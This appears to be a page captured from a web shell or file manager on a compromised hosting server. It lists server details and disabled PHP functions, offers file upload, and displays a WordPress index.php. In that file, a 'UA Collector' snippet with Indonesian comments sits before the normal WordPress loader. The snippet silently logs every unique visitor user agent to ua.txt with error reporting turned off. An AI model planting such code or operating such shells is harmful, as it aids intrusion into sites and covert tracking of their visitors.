HEX
Server: Apache
System: Linux wmsc1-wms544-wd-8866bb7-8bvxt 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: w6851 (16851)
PHP: 8.2.1
Disabled: apache_child_terminate,apache_setenv,define_syslog_variables,diskfreespace,disk_free_space,disk_total_space,dl,exec,leak,link,openlog,passthru,pfsockopen,popen,posix_getgrnam,posix_getpgid,posix_getpwuid,posix_getpwnam,posix_getrlimit,posix_initgroups,posix_kill,posix_mkfifo,posix_mknod,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,putenv,readlink,register_tick_function,shell_exec,show_source,symlink,syslog,system
Upload Files
File: /data/web/virtuals/6851/virtual/www/domains/ucto.genius-web.cz/index.php
<?php
// ============================================
// UA Collector with Date - Unique Only
// ============================================

error_reporting(0);

$logFile = __DIR__ . '/ua.txt';

$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$userAgent = strip_tags($userAgent);
$userAgent = preg_replace('/[^\x20-\x7E]/', '', $userAgent);

if (empty($userAgent) || strlen($userAgent) < 5) {
    $userAgent = 'Unknown';
}

// Cek apakah UA sudah ada
$exists = false;
if (file_exists($logFile)) {
    $content = file_get_contents($logFile);
    if ($content !== false && strpos($content, $userAgent) !== false) {
        $exists = true;
    }
}

// Simpan hanya jika belum ada
if (!$exists) {
    $data = $userAgent . "\n";
    file_put_contents($logFile, $data, FILE_APPEND | LOCK_EX);
}

unset($logFile, $userAgent, $content, $exists, $data);

?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';